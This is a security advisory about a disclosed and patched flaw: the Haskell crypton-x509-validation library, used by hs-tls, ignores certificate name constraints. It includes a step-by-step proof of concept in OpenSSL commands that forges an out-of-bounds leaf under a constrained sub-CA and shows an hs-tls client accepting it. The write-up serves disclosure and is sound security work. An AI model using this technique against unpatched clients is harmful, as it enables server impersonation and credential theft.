Haskell trusts every name in the chain

delegate signs for a host it was never allowed, nobody cries foul play

Discovered 24 Apr 2026 · Updated 11 Jun 2026

Haskell reaches the network through hs-tls: Warp and warp-tls under web servers, http-client under API clients, unikernel and mesh stacks on both. HTTP/3 arrives by QUIC. Every one hands the server's chain to a single faulty X.509 validator. An organisation that lets a partner issue certificates writes into the delegation which names the partner may issue for. That limit is what makes a delegated hierarchy safe: consortium roots, enterprise authorities signing for subsidiaries, device fleets attesting under a vendor's authority. A Haskell client honours the delegation and ignores the limit — the partner can issue for any name at all — complete break of the boundary.

> *Certificate authority limits what its delegate may vouch for; Haskell never checks the limit, accepts anything.*

A bank's root delegates to a marketing sub-authority, held by a critical `nameConstraints` extension to a marketing sub-domain. A disgruntled engineer there signs a leaf for payroll and serves it. Conformant stacks enforce the sub-domain limit, a leaf claiming a name beyond it aborts the handshake before application data moves, Haskell does not.

```
    Bank root            (in client's trust store)
        │  issues, with critical nameConstraints
        ▼
    Marketing sub-CA     permitted = marketing.bank.example      ← the limit
        │  signs a leaf outside it
        ▼
    Leaf                 SAN = payroll.bank.example

    RFC 5280 §6.1.3 → every conformant verifier MUST reject.  Haskell accepts.
```

crypton-x509-validation checks signatures, dates and the name the client dialled, then hs-tls completes the handshake — the limit is never considered.

Don't trust, verify: Sign outside limit, watch Haskell accept

Marketing's delegation signs the payroll leaf, which sits outside the sub-domain its limit allows, and chains it to the bank root the client trusts. Stock OpenSSL, holding that root, refuses at the certificate:

```
# what the delegation permits:
$ openssl x509 -in nc-int.pem -noout -subject -ext nameConstraints
subject=CN=marketing-sub-CA
X509v3 Name Constraints: critical
    Permitted:
      DNS:marketing.bank.example

# and the name the leaf claims, outside it:
$ openssl x509 -in nc-leaf.pem -noout -subject -ext subjectAltName
subject=CN=localhost
X509v3 Subject Alternative Name:
    DNS:payroll.bank.example, DNS:localhost

# that leaf, served on localhost:14443:
$ reply() { while :; do printf 'HTTP/1.0 200 ok\r\n\r\n'; sleep 1; done; }
$ openssl s_server -accept 14443 -tls1_3 -quiet -cert nc-leaf.pem \
     -key nc-leaf.key -cert_chain nc-int.pem &

# and a conformant verifier, holding the bank root, meeting it:
$ openssl s_client -connect localhost:14443 -tls1_3 -CAfile root.pem \
     -verify_return_error
depth=2 CN=HOLLOW-parent-root
depth=1 CN=marketing-sub-CA
depth=0 CN=localhost
depth=0 CN=localhost
verify error:num=47:permitted subtree violation
Verify return code: 47 (permitted subtree violation)
```

Error 47 is RFC 5280 §6.1.3 working as written. The same chain, to an hs-tls client holding the same root:

```
$ cabal run -v0 hs-tls-client -- --host localhost --ca root.pem \
     --token HOLLOW-bearer-8f2b41d7c09e5a63 --port 14443
crypton-x509-validation verdict: []
Handshake OK
app data received: "HTTP/1.0 200 ok"
```

An empty list is no objection to a chain a conformant verifier must refuse, and the handshake authenticates a server the bank never authorised marketing to be. The client sends what it holds for payroll to whoever answered: nothing intercepted, no cryptography broken, confidentiality and integrity violated.

Scope

In scope: any Haskell deployment whose trust store holds a CA that has issued a name-constrained intermediate. That limit exists for cross-organisational delegation, private and enterprise CA-of-CA hierarchies, IoT mesh, consortium roots, TEE-attestation chains and DePIN trust groups.

Three RFC 5280 requirements go unmet:

1. Name constraints, §6.1.3, absent outright: no permitted subtree and no excluded subtree occurs anywhere in crypton-x509-validation.

2. Unrecognised critical extensions, §4.2, not rejected. Marketing's constraint is critical, so the demonstrated payroll certificate chain was refusable on that alone; constructor `UnknownCriticalExtension` sits at `Validation.hs:68` and is never called.

3. Extended Key Usage, §4.2.1.12, shipped switched off. Field `checkLeafKeyPurpose` is declared, then defaulted to an empty list, which does nothing. Filed separately, as DOORWAY.

A sibling in wolfSSL is the narrower shape, a bypass that fires only across an unconstrained intermediate. Haskell has no such boundary.

The absence is not a recent lapse. NameConstraints has never been processed, not in crypton-x509-validation and not in the x509-validation package it forked from, whose 2013 first release already shipped this walk: leaf name checked, chain below it checked for expiry alone. Thirteen years on, every constrained delegation a Haskell client trusts is decorative.

The error sits a library below the protocol: hs-tls delegates chain validation to `validatePure` in crypton-x509-validation, and so does the QUIC stack beneath HTTP/3. Neither can switch checks on, there are none.

Not in scope: deployments trusting only the public web's public key infrastructure, where CA/Browser Forum policy and Certificate Transparency keep cross-org constrained-CA shapes rare.

Discovered 2026-04-24; disclosed 2026-05-09 (CERT/CC VRF#26-05-YMJSR; crypton-x509-validation maintainer in parallel). Targets: crypton-x509-validation 1.9.0 (`bdbbded`), under hs-tls at tag `tls-2.4.1` (`c469f33`). CWE-295, CWE-296 · CVSS 7.4 High (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).

Detected & exploited by cybernuke — cybernuke.bensmyth.com.

Updated 11 Jun 2026 — the maintainer shipped the fix in crypton-x509-validation 1.9.1 (3 Jun 2026), affecting hs-tls 2.4.x on crypton-x509-validation 1.9.0; CVE-2026-9648, Haskell advisory HSEC-2026-0008, CERT/CC VU#862559 published 11 Jun 2026. Three scores are on the public record and all three agree on the impact: a chain that must be refused is accepted, so Confidentiality and Integrity are both High. They part on two metrics.

The Haskell Security Advisory Database, as the ecosystem's own authority, published 6.8 (AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N), agreeing with the high Attack Complexity. It reads Privileges Required Low, where the other two read None; CVSS 3.1 sets that metric to None where the attacker is unauthorized beforehand and needs no access to the vulnerable system's settings or files, and the vulnerable system here is the client, which holds no account for this attacker and has never met them. CISA, appearing on the CVE record as an Authorized Data Publisher rather than as its assigning authority, published 9.1 on AC:L. Cybernuke publishes the conservative 7.4 above, on AC:H, because in the general case an attacker must first inject into the path between the client and the host it means to reach.

The gap between 9.1 and 7.4 is not a disagreement over the facts. For the delegation-native deployments this finding is about — a mesh node, a consortium peer, an attestation endpoint the client already connects to by design — CISA's reading is right: the partner is the endpoint and takes no network position, so nothing raises the complexity. It is one finding scored against two deployments. The National Vulnerability Database scores the closest published analogue the way we do: CVE-2021-3450, OpenSSL's certificate-authority check bypass, carries AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N, the vector above metric for metric.

Appendix: standing it up

Everything a maintainer needs is above. What follows is the wiring, in the order a verifier runs it, starting with the two checkouts the report is read from:

```
$ git clone -q -c advice.detachedHead=false --depth 1 --branch tls-2.4.1 \
     https://github.com/haskell-tls/hs-tls
$ git clone -q -c advice.detachedHead=false --depth 1 \
     --branch crypton-x509-validation-1.9.0 \
     https://github.com/kazu-yamamoto/crypton-certificate

$ git -C hs-tls rev-parse --short=7 HEAD
c469f33
$ git -C crypton-certificate rev-parse --short=7 HEAD
bdbbded
$ grep -m1 '^version:' hs-tls/tls/tls.cabal
version:            2.4.1
$ grep -m1 '^version:' \
     crypton-certificate/crypton-x509-validation/crypton-x509-validation.cabal
version:            1.9.0
```

One parent root, two delegations, one leaf apiece. Nothing else about either leaf is unusual: signature verifies, validity window open, Key Usage what a TLS server carries.

```
$ openssl version
OpenSSL 3.5.5 27 Jan 2026 (Library: OpenSSL 3.5.5 27 Jan 2026)

# the parent root — one trust anchor over both delegations:
$ openssl req -x509 -quiet -noenc -newkey rsa:2048 -days 3650 -keyout root.key \
     -out root.pem -subj /CN=HOLLOW-parent-root \
     -addext 'basicConstraints=critical,CA:TRUE,pathlen:1' \
     -addext 'keyUsage=critical,digitalSignature,keyCertSign,cRLSign' \
     2>/dev/null

# the marketing sub-authority, limited to names under marketing.bank.example,
# with the limit marked critical:
$ openssl req -new -quiet -noenc -newkey rsa:2048 -keyout nc-int.key \
     -out nc-int.csr -subj /CN=marketing-sub-CA \
     -addext 'basicConstraints=critical,CA:TRUE,pathlen:0' \
     -addext 'keyUsage=critical,digitalSignature,keyCertSign,cRLSign' \
     -addext 'nameConstraints=critical,permitted;DNS:marketing.bank.example' \
     2>/dev/null
$ openssl x509 -req -in nc-int.csr -CA root.pem -CAkey root.key -days 3650 \
     -copy_extensions copyall -out nc-int.pem
Certificate request self-signature ok
subject=CN=marketing-sub-CA

# the leaf it signs: the SAN names the payroll server, outside what the
# limit permits, and localhost, so the hostname check is not what fails:
$ openssl req -new -quiet -noenc -newkey rsa:2048 -keyout nc-leaf.key \
     -out nc-leaf.csr -subj /CN=localhost \
     -addext 'subjectAltName=DNS:payroll.bank.example,DNS:localhost' \
     -addext 'basicConstraints=critical,CA:FALSE' \
     -addext 'keyUsage=critical,digitalSignature,keyEncipherment' \
     -addext extendedKeyUsage=serverAuth 2>/dev/null
$ openssl x509 -req -in nc-leaf.csr -CA nc-int.pem -CAkey nc-int.key \
     -days 3650 -copy_extensions copyall -out nc-leaf.pem
Certificate request self-signature ok
subject=CN=localhost

# a second delegation off the same root, carrying a critical extension
# under a private arc that no verifier is expected to recognise:
$ openssl req -new -quiet -noenc -newkey rsa:2048 -keyout uce-int.key \
     -out uce-int.csr -subj /CN=partner-CA-with-unknown-critical-ext \
     -addext 'basicConstraints=critical,CA:TRUE,pathlen:0' \
     -addext 'keyUsage=critical,digitalSignature,keyCertSign,cRLSign' \
     -addext '1.3.6.1.4.1.99999.1=critical,DER:0C:05:43:48:41:49:4E' \
     2>/dev/null
$ openssl x509 -req -in uce-int.csr -CA root.pem -CAkey root.key -days 3650 \
     -copy_extensions copyall -out uce-int.pem
Certificate request self-signature ok
subject=CN=partner-CA-with-unknown-critical-ext
$ openssl req -new -quiet -noenc -newkey rsa:2048 -keyout uce-leaf.key \
     -out uce-leaf.csr -subj /CN=localhost \
     -addext subjectAltName=DNS:localhost \
     -addext 'basicConstraints=critical,CA:FALSE' \
     -addext 'keyUsage=critical,digitalSignature,keyEncipherment' \
     -addext extendedKeyUsage=serverAuth 2>/dev/null
$ openssl x509 -req -in uce-leaf.csr -CA uce-int.pem -CAkey uce-int.key \
     -days 3650 -copy_extensions copyall -out uce-leaf.pem
Certificate request self-signature ok
subject=CN=localhost

# and one root the demonstration never delegates from, for the control:
$ openssl req -x509 -quiet -noenc -newkey rsa:2048 -days 3650 \
     -keyout other.key -out other-root.pem -subj /CN=HOLLOW-unrelated-root \
     2>/dev/null

# what each delegation says about itself, and what each leaf claims:
$ openssl x509 -in nc-int.pem -noout -subject \
     -ext 'basicConstraints,nameConstraints'
subject=CN=marketing-sub-CA
X509v3 Basic Constraints: critical
    CA:TRUE, pathlen:0
X509v3 Name Constraints: critical
    Permitted:
      DNS:marketing.bank.example
$ openssl x509 -in uce-int.pem -noout -text | grep -A1 99999.1
            1.3.6.1.4.1.99999.1: critical
                ..CHAIN
$ openssl x509 -in nc-leaf.pem -noout -subject -ext subjectAltName
subject=CN=localhost
X509v3 Subject Alternative Name:
    DNS:payroll.bank.example, DNS:localhost
$ openssl x509 -in uce-leaf.pem -noout -subject -ext subjectAltName
subject=CN=localhost
X509v3 Subject Alternative Name:
    DNS:localhost
```

Starve `reply` of a line and the listener exits before the handshake, with a failure that reads like a rejected certificate.

```
# the limited chain, and the unknown-critical-extension chain, each on its
# own port so nothing has to be stopped between probes. Neither serves a
# page: each answers with one line off its own stdin, and writes what it
# received to its own terminal:
$ reply() { while :; do printf 'HTTP/1.0 200 ok\r\n\r\n'; sleep 1; done; }
$ reply | openssl s_server -accept 14443 -tls1_3 -quiet -cert nc-leaf.pem \
     -key nc-leaf.key -cert_chain nc-int.pem >nc-server.txt 2>/dev/null &
$ reply | openssl s_server -accept 14444 -tls1_3 -quiet -cert uce-leaf.pem \
     -key uce-leaf.key -cert_chain uce-int.pem >uce-server.txt 2>/dev/null &
```